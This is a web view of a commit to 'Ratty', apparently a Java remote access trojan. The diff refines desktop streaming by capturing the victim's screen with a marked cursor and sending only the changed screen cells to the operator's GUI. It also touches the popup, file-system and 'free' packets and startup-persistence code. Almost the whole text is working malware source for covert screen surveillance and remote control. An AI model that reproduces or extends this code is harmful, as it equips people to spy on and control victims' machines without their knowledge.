Browse Source

Major changes

Bugfixes
Increased desktop streaming rate
master
Sogomn 9 years ago
parent
commit
0370340395
  1. 4
      Ratty/src/de/sogomn/rat/ActiveClient.java
  2. 17
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 64
      Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java
  4. 4
      Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java
  5. 3
      Ratty/src/de/sogomn/rat/packet/FreePacket.java
  6. 12
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  7. 24
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  8. 18
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  9. 15
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  10. 115
      Ratty/src/de/sogomn/rat/util/FrameEncoder.java

4
Ratty/src/de/sogomn/rat/ActiveClient.java

@ -119,6 +119,10 @@ public final class ActiveClient extends TCPConnection {
reader.start();
}
public void clearPackets() {
packetQueue.clear();
}
public void addPacket(final IPacket packet) {
packetQueue.add(packet);
}

17
Ratty/src/de/sogomn/rat/Ratty.java

@ -39,18 +39,15 @@ public final class Ratty {
//...
}
private static void readConnectionData() {
private static void readConnectionData() throws ArrayIndexOutOfBoundsException, NumberFormatException {
final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME);
final String addressString = lines[0].trim();
final String portString = lines[1].trim();
final String clientString = lines[2].trim();
if (lines.length >= 3) {
final String addressString = lines[0].trim();
final String portString = lines[1].trim();
final String clientString = lines[2].trim();
address = addressString;
port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString);
}
address = addressString;
port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString);
}
private static void addToStartup() {

64
Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java

@ -1,6 +1,8 @@
package de.sogomn.rat.packet;
import java.awt.image.BufferedImage;
import java.util.ArrayList;
import java.util.stream.Stream;
import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.ActiveClient;
@ -9,7 +11,7 @@ import de.sogomn.rat.util.FrameEncoder.IFrame;
public final class DesktopStreamPacket extends AbstractPingPongPacket {
private IFrame frame;
private IFrame[] frames;
private int screenWidth, screenHeight;
private byte deleteLastScreenshot;
@ -19,6 +21,9 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket {
private static final byte KEEP = 0;
private static final byte DELETE = 1;
private static final byte INCOMING = 1;
private static final byte END = 0;
public DesktopStreamPacket(final boolean delete) {
type = REQUEST;
deleteLastScreenshot = delete ? DELETE : KEEP;
@ -35,12 +40,17 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket {
@Override
protected void sendData(final ActiveClient client) {
final byte[] data = ImageUtils.toByteArray(frame.image, "JPG");
Stream.of(frames).forEach(frame -> {
final byte[] data = ImageUtils.toByteArray(frame.image, "JPG");
client.writeByte(INCOMING);
client.writeShort((short)frame.x);
client.writeShort((short)frame.y);
client.writeInt(data.length);
client.write(data);
});
client.writeInt(frame.x);
client.writeInt(frame.y);
client.writeInt(data.length);
client.write(data);
client.writeByte(END);
client.writeInt(screenWidth);
client.writeInt(screenHeight);
}
@ -52,34 +62,40 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket {
@Override
protected void receiveData(final ActiveClient client) {
final int x = client.readInt();
final int y = client.readInt();
final int length = client.readInt();
final byte[] data = new byte[length];
client.read(data);
final ArrayList<IFrame> framesList = new ArrayList<IFrame>();
final BufferedImage image = ImageUtils.toImage(data);
while (client.readByte() == INCOMING) {
final int x = client.readShort();
final int y = client.readShort();
final int length = client.readInt();
final byte[] data = new byte[length];
client.read(data);
final BufferedImage image = ImageUtils.toImage(data);
final IFrame frame = new IFrame(x, y, image);
framesList.add(frame);
}
frame = new IFrame(x, y, image);
frames = framesList.stream().toArray(IFrame[]::new);
screenWidth = client.readInt();
screenHeight = client.readInt();
}
@Override
protected void executeRequest(final ActiveClient client) {
final BufferedImage screenshot = ScreenshotPacket.takeScreenshot();
final BufferedImage screenshot = FrameEncoder.takeScreenshotWithCursor();
if (deleteLastScreenshot == DELETE || lastScreenshot == null) {
frame = new IFrame(0, 0, screenshot);
} else if (deleteLastScreenshot == KEEP) {
frame = FrameEncoder.getIFrame(lastScreenshot, screenshot);
final IFrame frame = new IFrame(0, 0, screenshot);
if (frame == null) {
frame = IFrame.EMPTY;
}
frames = new IFrame[1];
frames[0] = frame;
} else if (deleteLastScreenshot == KEEP) {
frames = FrameEncoder.getIFrames(lastScreenshot, screenshot);
} else {
frame = IFrame.EMPTY;
frames = new IFrame[0];
}
type = DATA;
@ -95,8 +111,8 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket {
//...
}
public IFrame getFrame() {
return frame;
public IFrame[] getFrames() {
return frames;
}
public int getScreenWidth() {

4
Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java

@ -12,8 +12,8 @@ public class FileSystemPacket extends AbstractPingPongPacket {
private String[] paths;
private static final byte INCOMING = 0;
private static final byte END = 1;
private static final byte INCOMING = 1;
private static final byte END = 0;
public FileSystemPacket(final String rootFile) {
this.rootFile = rootFile;

3
Ratty/src/de/sogomn/rat/packet/FreePacket.java

@ -20,7 +20,8 @@ public final class FreePacket implements IPacket {
@Override
public void execute(final ActiveClient client) {
System.exit(0);
client.setObserver(null);
client.close();
}
}

12
Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -45,16 +45,4 @@ public final class PopupPacket implements IPacket {
return message;
}
public static PopupPacket create() {
final String input = JOptionPane.showInputDialog(null);
if (input != null) {
final PopupPacket packet = new PopupPacket(input);
return packet;
} else {
return null;
}
}
}

24
Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -1,16 +1,12 @@
package de.sogomn.rat.packet;
import java.awt.AWTException;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import de.sogomn.engine.Screen;
import de.sogomn.engine.Screen.ResizeBehavior;
import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.util.FrameEncoder;
public final class ScreenshotPacket extends AbstractPingPongPacket {
@ -60,7 +56,7 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
@Override
protected void executeRequest(final ActiveClient client) {
type = DATA;
image = takeScreenshot();
image = FrameEncoder.takeScreenshot();
if (image == null) {
image = NO_IMAGE;
@ -89,20 +85,4 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
return image;
}
public static BufferedImage takeScreenshot() {
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
final Rectangle screenRect = new Rectangle(screen);
try {
final Robot robot = new Robot();
final BufferedImage image = robot.createScreenCapture(screenRect);
return image;
} catch (final AWTException ex) {
ex.printStackTrace();
return null;
}
}
}

18
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -103,7 +103,7 @@ public final class DisplayPanel {
g.dispose();
}
public void openScreen(final int width, final int height) {
public void updateScreen(final int width, final int height) {
if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) {
if (screen != null) {
screen.close();
@ -122,7 +122,7 @@ public final class DisplayPanel {
final int width = image.getWidth();
final int height = image.getHeight();
openScreen(width, height);
updateScreen(width, height);
}
public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) {
@ -131,7 +131,19 @@ public final class DisplayPanel {
}
drawToScreenImage(frame.image, frame.x, frame.y);
openScreen(screenWidth, screenHeight);
updateScreen(screenWidth, screenHeight);
}
public void showFrames(final IFrame[] frames, final int screenWidth, final int screenHeight) {
if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) {
image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB);
}
for (final IFrame frame : frames) {
drawToScreenImage(frame.image, frame.x, frame.y);
}
updateScreen(screenWidth, screenHeight);
}
public void setTitle(final String title) {

15
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -75,7 +75,11 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
IPacket packet = null;
if (command == RattyGui.POPUP) {
packet = PopupPacket.create();
final String input = JOptionPane.showInputDialog(null);
if (input != null) {
packet = new PopupPacket(input);
}
} else if (command == RattyGui.FREE) {
packet = new FreePacket();
} else if (command == RattyGui.SCREENSHOT) {
@ -164,13 +168,13 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
}
private void handle(final ServerClient serverClient, final DesktopStreamPacket packet) {
final IFrame frame = packet.getFrame();
final IFrame[] frames = packet.getFrames();
final int screenWidth = packet.getScreenWidth();
final int screenHeight = packet.getScreenHeight();
final DesktopStreamPacket request = new DesktopStreamPacket();
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
displayPanel.showFrame(frame, screenWidth, screenHeight);
displayPanel.showFrames(frames, screenWidth, screenHeight);
serverClient.client.addPacket(request);
}
@ -249,6 +253,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final FileTreePanel treePanel = serverClient.getTreePanel();
serverClient.setStreamingDesktop(false);
serverClient.setStreamingVoice(false);
serverClient.setController(null);
client.setObserver(null);
@ -300,6 +305,10 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
serverClient.setStreamingVoice(!streaming);
gui.updateTable();
} else if (command == RattyGui.FREE) {
serverClient.setStreamingDesktop(false);
serverClient.setStreamingVoice(false);
serverClient.setController(null);
}
}

115
Ratty/src/de/sogomn/rat/util/FrameEncoder.java

@ -1,55 +1,118 @@
package de.sogomn.rat.util;
import java.awt.AWTException;
import java.awt.BasicStroke;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.Graphics2D;
import java.awt.MouseInfo;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Stroke;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.util.ArrayList;
import de.sogomn.engine.util.ImageUtils;
public final class FrameEncoder {
private static final int CELLS_WIDE = 5;
private static final int CELLS_HIGH = 5;
private static final IFrame[] EMPTY_ARRAY = new IFrame[0];
private static final int CURSOR_SIZE = 10;
private static final Stroke CURSOR_STROKE = new BasicStroke(3);
private FrameEncoder() {
//...
}
public static IFrame getIFrame(final BufferedImage previous, final BufferedImage next) {
public static BufferedImage takeScreenshot() {
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
final Rectangle screenRect = new Rectangle(screen);
try {
final Robot robot = new Robot();
final BufferedImage image = robot.createScreenCapture(screenRect);
return image;
} catch (final AWTException ex) {
ex.printStackTrace();
return null;
}
}
public static BufferedImage takeScreenshotWithCursor() {
final BufferedImage image = takeScreenshot();
if (image == null) {
return null;
}
final Point mousePoint = MouseInfo.getPointerInfo().getLocation();
final int mouseX = mousePoint.x - CURSOR_SIZE / 2;
final int mouseY = mousePoint.y - CURSOR_SIZE / 2;
final Graphics2D g = image.createGraphics();
ImageUtils.applyHighGraphics(g);
g.setStroke(CURSOR_STROKE);
g.setColor(Color.RED);
g.drawOval(mouseX, mouseY, CURSOR_SIZE, CURSOR_SIZE);
g.dispose();
return image;
}
public static IFrame[] getIFrames(final BufferedImage previous, final BufferedImage next) {
final int width = previous.getWidth();
final int height = previous.getHeight();
if (next.getWidth() != width || next.getHeight() != height) {
return IFrame.EMPTY;
return EMPTY_ARRAY;
}
int frameX = Integer.MAX_VALUE;
int frameY = Integer.MAX_VALUE;
int frameWidth = 0;
int frameHeight = 0;
final int cellWidth = width / CELLS_WIDE;
final int cellHeight = height / CELLS_HIGH;
final ArrayList<IFrame> frames = new ArrayList<IFrame>();
for (int x = 0; x < width; x++) {
for (int y = 0; y < height; y++) {
final int previousRgb = previous.getRGB(x, y);
final int nextRgb = next.getRGB(x, y);
for (int x = 0; x < CELLS_WIDE; x++) {
for (int y = 0; y < CELLS_HIGH; y++) {
final int cellX = x * cellWidth;
final int cellY = y * cellHeight;
final int cellEndX = cellX + cellWidth;
final int cellEndY = cellY + cellHeight;
if (previousRgb == nextRgb) {
continue;
outer:
for (int xx = cellX; xx < cellEndX && xx < width; xx++) {
for (int yy = cellY; yy < cellEndY && yy < height; yy++) {
final int previousRgb = previous.getRGB(xx, yy);
final int nextRgb = next.getRGB(xx, yy);
if (previousRgb == nextRgb) {
continue;
}
final BufferedImage image = next.getSubimage(cellX, cellY, cellWidth, cellHeight);
final IFrame frame = new IFrame(cellX, cellY, image);
frames.add(frame);
break outer;
}
}
frameX = Math.min(frameX, x);
frameY = Math.min(frameY, y);
frameWidth = Math.max(frameWidth, x);
frameHeight = Math.max(frameHeight, y);
}
}
frameWidth -= frameX;
frameHeight -= frameY;
if (frameX >= width || frameY >= height || frameWidth <= 0 || frameHeight <= 0) {
return IFrame.EMPTY;
}
final BufferedImage image = next.getSubimage(frameX, frameY, frameWidth, frameHeight);
final IFrame frame = new IFrame(frameX, frameY, image);
final IFrame[] framesArray = frames.stream().toArray(IFrame[]::new);
return frame;
return framesArray;
}
public static final class IFrame {

Loading…
Cancel
Save